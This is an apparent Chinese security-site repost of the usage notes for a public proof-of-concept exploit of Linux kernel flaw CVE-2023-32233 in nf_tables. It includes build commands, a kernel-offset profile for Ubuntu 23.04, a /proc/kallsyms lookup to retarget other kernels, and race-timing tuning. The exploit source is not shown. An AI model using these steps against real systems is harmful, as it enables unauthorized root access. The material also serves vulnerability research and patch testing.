CVE-2023-32233:Linux内核中的安全漏洞

admin 2024年5月21日23:24:07评论7 views字数 1742阅读5分48秒阅读模式
POC来源于研究人员公开-复现或使用时请使用测试虚拟环境进行测试!

安装构建依赖项

运行以下命令来安装构建依赖项:

sudo apt install gcc libmnl-dev libnftnl-dev

构建二进制文件

运行以下命令来构建 PoC 二进制文件:

gcc -Wall -o exploit exploit.c -lmnl -lnftnl

更新

内置配置文件包含特定于以二进制形式分发的 Linux 内核的参数,如 Ubuntu 23.04 (Lunar Lobster) 中的以下软件包:

  • “linux-image-6.2.0-20-generic”,版本“6.2.0-20.20”,以及
  • “linux-modules-6.2.0-20-generic”,版本“6.2.0-20.20”。

内置配置文件如下所示:

1                   race_set_slab                   # {0,1}1572                race_set_elem_count             # k4000                initial_sleep                   # ms100                 race_lead_sleep                 # ms600                 race_lag_sleep                  # ms100                 reuse_sleep                     # ms39d240              free_percpu                     # hex2a8b900             modprobe_path                   # hex23700               nft_counter_destroy             # hex347a0               nft_counter_ops                 # hexa                   nft_counter_destroy_call_offset # hexffffffff            nft_counter_destroy_call_mask   # hexe8e58948            nft_counter_destroy_call_check  # hex

内核符号

使用其他 Linux 内核进行测试时覆盖内置配置文件的可选步骤:

modprobe nf_tablesegrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(s|$)' /proc/kallsyms > profile

机器码

为了找到内核库,我们检查nf_tables.ko内核内存中的图像。具体来说,我们分析了 nft_counter_destroy() 子例程的机器代码。这意味着我们的方法对编译器以及编译选项敏感。但是,所有常见情况都可以通过覆盖内置配置文件来处理。

例如,nft_counter_destroy()子例程的机器代码可能如下所示:

000000000001e310 <nft_counter_destroy>:   1e310:       f3 0f 1e fa             endbr64   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]   1e318:       e9 00 00 00 00          jmp    <free_percpu>   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

在上面的情况下,我们可以通过将以下三行附加到配置文件“profile”来指定一些参数。

首先,我们重新定义位移之前的双字的偏移量free_percpu :

5                   nft_counter_destroy_call_offset # hex

其中该值5是使用表达式 计算的(1e31d - 1e310) - 8。

作为健全性检查,我们然后使用以下掩码验证上述偏移处的双字:

ffffffff            nft_counter_destroy_call_mask   # hex

期望以下值:

e9087e8b            nft_counter_destroy_call_check  # hex

比赛调校

利用该漏洞需要赢得与 Linux 内核后台工作线程的竞争。内置配置文件经过调整,可最大限度地提高在各种英特尔微处理器(包括移动 Sandy Bridge 和桌面 Comet Lake)上赢得比赛的机会。然而,一些微处理器需要额外的调整。例如,我们观察到在某些设置中 Alder Lake 下切换任务的延迟增加,可能需要将以下行附加到“profile”:

400                 race_lead_sleep

在使用闲置裸机系统的测试中,我们测得成功利用该漏洞的概率为 80% 或更高。

测试建议

一旦 PoC 在易受攻击的系统上启动,可能会使该系统处于不稳定状态,内核内存已损坏。我们强烈建议在专用系统上测试 PoC,以避免潜在的数据损坏。

原文始发于微信公众号(Ots安全):CVE-2023-32233:Linux内核中的安全漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日23:24:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-32233:Linux内核中的安全漏洞https://cn-sec.com/archives/2012830.html

发表评论

匿名网友 填写信息